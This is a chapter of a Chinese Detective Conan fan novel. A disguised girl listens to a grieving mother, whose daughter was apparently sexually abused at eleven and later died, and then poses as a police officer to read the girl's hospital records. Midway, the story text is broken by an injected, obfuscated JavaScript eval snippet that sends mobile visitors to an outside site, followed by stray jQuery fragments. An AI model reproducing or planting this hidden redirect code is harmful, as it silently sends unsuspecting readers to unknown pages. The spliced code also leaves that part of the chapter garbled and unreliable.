44.最痛恨的事(十二)

作品:《名柯之追杀(划掉)我的人排到了柏林

    花井幸枝告别了藤野大贵,回到车上,把装有女儿遗物的盒子放到副驾驶座。


    她没有立即离开学校,而是把头伏在方向盘上,好一会才抬起,她捂着胸口,脸色痛苦踌躇,喘着气把手伸进包取出几板药。


    空了的水杯是压倒骆驼的最后一根稻草。


    花井幸枝捂着胸口,脸色空白地倒在方向盘上,肩膀和泪水一同抽泣,从鼻腔中不停发出尖锐的气声。


    “猜你想要。”


    她猛地睁大眼睛,鼻翼翕动。


    温热的水瓶贴近她的脸庞,让刚从冷空气中回来的花井幸枝失去温度的脸迅速回温。


    她泪眼朦胧中看见从后座露出脑袋的女孩,黑发、圆脸,看着年纪不大,就像是不久前失去的女儿。


    不。


    她的女儿已经死了。


    死在了春天来临之前。


    “阿姨,您还好吗?”


    黑川奈语气中满是担忧,她再次开口,“不知道您还记不记得我,我是和小路在同一个病房的洼田,刚刚听您和藤野老师聊起天才想起您。”


    花井幸枝不清楚这个少女是什么时候爬上自己的车,更是完全不记得这个人。


    立原路在医院接受治疗的时候确实有过一位同住病友,但每次她去看望的时候都在赶时间。


    老实说,她从来没有正眼看过那个存在自己女儿口中名为洼田的女同学。


    后座上的少女穿着和自己女儿一样的校服,她越是看越是觉得熟悉,同样的黑发,同样苍白的肤色。


    “阿姨,您先别急,先把药吃了,”黑川奈很贴心地把矿泉水瓶塞进花井幸枝手中。


    花井幸枝感受着手里的温度,按理说便利店里的矿泉水应该都是冰凉到刺骨,可手中的温热又是如此真实。


    她还是留了心眼,慢慢地拧开瓶盖,瓶口的螺纹发出细微破裂的声音。


    这瓶水确实没有被打开过,里面的温水也不是灌进去的。


    黑川奈当然知道她在想什么,便利店里哪来的热水?


    可都是她用气给升的温。


    此举善矣。


    她亲眼看着那女人就着水把药咽下去,笑了笑,低头用手机搜索了药盒上的名字,是治疗精神疾病用的。


    洼田初美也说过,立原路是因为精神疾病入院治疗,现在想来,是遗传自母亲?


    难说,她看立原隆的状态更像精神病。


    她耐心地等待花井幸枝情绪稳定。


    直到对方问自己,她才回想着洼田初美曾经和她们说过的话,缓缓开口。


    “……在医院的时候,我就很担心小路,担心她返校之后会不会有人仗着年纪去欺负她,”黑川奈把声音压低,“小路回去之后也和我写过不少信。”


    花井幸枝听着,孩子写信这点她知道,只不过寄给谁写的内容她不曾了解,立原路也没有向她说起过。


    “小路说,她在学校过得很好,有喜欢的社团,社团里的学姐也待她很友善,”黑川奈语速很慢,边回忆,边述说。


    过路的轿车灯光扫过挡风玻璃,幽暗的车厢发出反光。


    她可以观测到花井幸枝的表情。


    女人的双唇僵硬,眼眶的红色不曾消失。


    “她在信里和我说,话剧社的学姐邀请她参加夏天的高中生话剧区域预选赛,如果能闯进全国大赛,就能走上真正的舞台,等毕业之后或许还会被星探看中。”


    花井幸枝仰起头,泪水滑落到太阳穴,最终落在她的肩膀上,砸出一道小小的水渍。


    黑川奈没有继续说。


    空调吹出暖风时发出的嗡嗡声。


    路灯在闪烁之后,亮起昏黄的灯光。


    黑川奈静静地望着前方路灯下的飞蛾,看着它们奋不顾身地撞向光明。


    遍体鳞伤。


    “那孩子……从小就喜欢演戏,”花井幸枝用手腕拭去泪水,“还在她……父亲那时,新年我都会带着礼物去看她,看她在房间和其他同龄人一同披着被子旋转,说长大之后要当辉夜姬。”


    “从记事开始,那个男人总是告诉她,在她出生15天的时候,我把她一人遗弃在出租屋内,”花井幸枝的话拐了弯,“其实,是因为那天夜里,小路忽然发了高烧,立原隆……在他妻子家中,没接电话,别无他法,我只能出门到药店,看看有没有可以治疗的药物,但……”


    她的手抚摸到后脑勺。


    黑川奈透过稀疏的发丝,看见在她抚摸的地方有一条痕迹。


    “但我发生了车祸,被送进医院,醒来的时候已经是第二天。”


    “我带着医院开的药赶回出租屋的时候,小路已经被立原隆抱走了。”


    “此后,立原隆一见到我,都会和街坊邻居声称我把亲生女儿丢掉,就连小路……都……”


    黑川奈明白,对于年龄过小、缺乏客观看待问题能力的孩子会潜移默化地坚信身边人陈述的事情。


    “您说,立原隆的妻子是?”


    她递出橄榄枝,表示愿意倾听花井幸枝的痛苦。


    女人点头,双手将衣摆扯成褶皱,“在我和他结婚前,立原隆已经有了家庭。”


    “没有离婚?”


    “没有……小路被抢走后,我找了私家侦探才发现自己被骗,我和他办了离婚手续,并且找到那女的,听说之后他们也离婚了,”花井幸枝说道,“只是立原隆又和其他人说那女的是找到其他有钱男人,甚至不愿意抚养生下的两个男孩。”


    “那小路为什么会离开她立原隆?”黑川奈的声音很柔和。


    花井幸枝望向窗外,衣服的下摆被她掌心的汗水浸湿。


    她的眼中爆发出仇恨,胸口一阵疼痛,她的鼻息再次开始翕动,喉咙里爆发出尖锐的气声。


    黑川奈赶紧将水递到女人嘴边,服用两口温水后,她才逐渐镇定。


    “我也努力过啊!可是那时候的我没有工作,能住的也只是最简陋的地下出租屋,相比较立原隆的条件比我优秀,既然他们已经离婚,那或许就没有外人可以为难小路,为了防止那两个哥哥,我也每年过年去看望并且打听他们的关系,可是这个男人留着小路竟然!”


    她猛地将矿泉水瓶捏紧,想说什么,忽然意识到自己倾诉的对象也和小路一般大小,于是抹了把眼眶,“在找到工作后,我立马向法院提交了诉求,要求拿回小路的抚养权,那时小路不到三岁,已经学会说话了,在法庭上声称要跟着父亲,并亲口说出妈妈在我出生15天的时候就把我扔了这种话!”


    “我真是一个愚蠢的女人,一味以为孩子是真的是觉得和父亲在一起很幸福,那就让他们在一起吧,而没有选择上诉,”她说,“可没想到的是,那个男人竟然另行起诉,要求我每月付给他多达10万日元的抚养费。”


    黑川奈趁女人不注意,从后座翻到副驾驶座,把那个放有立原路遗物的铁盒子放在腿上,抚摸盒子边缘粗糙的棱角。


    “东京女性的平均月收入是30万日元,”黑川奈轻声说。


    “没错,可我才刚找到工作,每月到的工资不足20万日元,不得已我只能反诉,要求立原隆将小路的抚养权交给我,光是一审、二审和再审就陆陆续续花费了不下五年……不仅是我,我还听法院工作人员说立原隆还起诉了之前的另一个妻子。”


    “好在,就在最终判决即将下来的时候,也就是小路十一岁那年,她自己找到了我。”


    花井幸枝忽然掏出手机点开屏幕,黑川奈瞥见上方是和立原路的聊天框。


    那孩子话不多,每次回复都很简短。


    十一岁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869619|174139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……


    黑川奈的指尖划过铁皮盒子。


    “她当时只是说到了发育期,女孩子在家里和三个男人待在一起气氛很压抑、尴尬,想过来我这住几天,”女人继续道,“直到小路回来的第二天,马桶被堵住,我在马桶里发现满是血的内裤。”


    “我永远都没办法忘记医护人员看我的眼神。”


    她抬起头,眼中昏黄的灯光在挡风玻璃上留下一滩血淋淋的水渍。


    “算了,和你这孩子说这么多也是徒增烦恼罢了,”花井幸枝露出一抹惨笑,“那孩子在住院那阵子就常说,只要死了,就能得到解脱,因为这世界上没有人会记得她,但现在我是多么希望她能回来看一眼,没有忘记她的不仅仅只有我这个当母亲的。”


    她把脸埋在掌心,身体止不住颤抖。


    黑川奈终究没有打开那个铁盒子。


    也谈及川本宪一,只是静静坐着。


    月亮爬上天空,街角的店铺拉上卷帘门。


    她才放下铁皮盒悄然离开。


    米花中央病院。


    八点刚过一刻。


    “星野警官,这就是立原路的病例档案。”


    穿着白袍的护士长将包有黄色牛皮纸封皮的病历本放在穿着白衬衫的女人跟前,在女人的另一端落座,偷偷观察这位道谢后翻开病历本的年轻女警官。


    “这本病例,之前应该也有警……我的同事过来查阅吧。”


    那少女忽然抬头问道。


    那双如墨般的瞳孔中似乎有绿光一闪而过。


    护士长差点女人身上的那股威压唬住,回过神点头,回答,“是的,因为这女孩很特殊,所以我们对她很有印象,只不过……她在手术后一直不肯告诉我们孩子的父亲是谁,当然这属于病人的隐私不肯告诉我们也没关系。”


    她说着,看见女警官的肩膀抽动,冷哼了一声,背后不禁发凉。


    就在十分钟前,这女人出现在医院的办公室说要查询病历档案。


    当时她还以为是哪里来的学生闹着玩,可当她拿出警察手账时,她笑不出来了。


    她想起那个从病房里推出来的,满脸苍白、双眼紧闭的女孩,握紧了拳头。


    “星野警官,”她的心跳扑腾扑腾跳着,问,“请问,是这个女孩出什么事了吗?”


    女警官抬眸,锐利的目光扫过护士长满是褶皱的眼眶,反问,“你不知道?”


    护士长摇头,“之前警方来的时候没有透露消息,我以为是害小路……立原路怀孕的犯人抓住了,警方来搜集证据。”


    黑川奈没有对护士长的话做出回应,而是继续翻看病例。


    “在接收立原路的第一时间,为什么不选择报警?”她抬头,“未满十二岁怀孕足以构成报警理由,”随即,她又轻松地笑了,“当然,我不是在怪罪医院,更不是在怪罪你们,只是……”


    她迟疑了几秒,“在调查清楚一些事后,我觉得这女孩确实过于可怜。”


    护士长沉默,她与她感同身受。


    十一岁,才刚开始发育的年纪,被送来医院的时候,生丨殖器官被撕裂得惨不忍睹。


    在结束流产手术后,她一度以为躺在手术床上的是一具尸体而非生命。


    “今天辛苦你了,”女警官把血淋淋的病历本归还给护士长。


    “那孩子,现在应该没事吧,”护士长抱着本子,抓住女警的袖子,有飞速松开,“抱歉,我只是听她的家人说要把她送到学校,过正常人的生活。”


    黑川奈垂眸,望着那只放开袖子的手,沉默了半响,“她……没事,只是去到了一个更幸福的地方。”


    “是吗……”护士长没有多想,那张年迈的、布满皱纹的慈祥的脸上终于露出了释然的笑。


    “这样……就好。”